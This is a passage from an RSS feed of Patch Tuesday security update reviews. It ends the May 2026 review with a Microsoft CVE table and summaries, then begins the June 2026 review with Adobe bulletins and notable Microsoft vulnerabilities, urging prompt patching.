  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
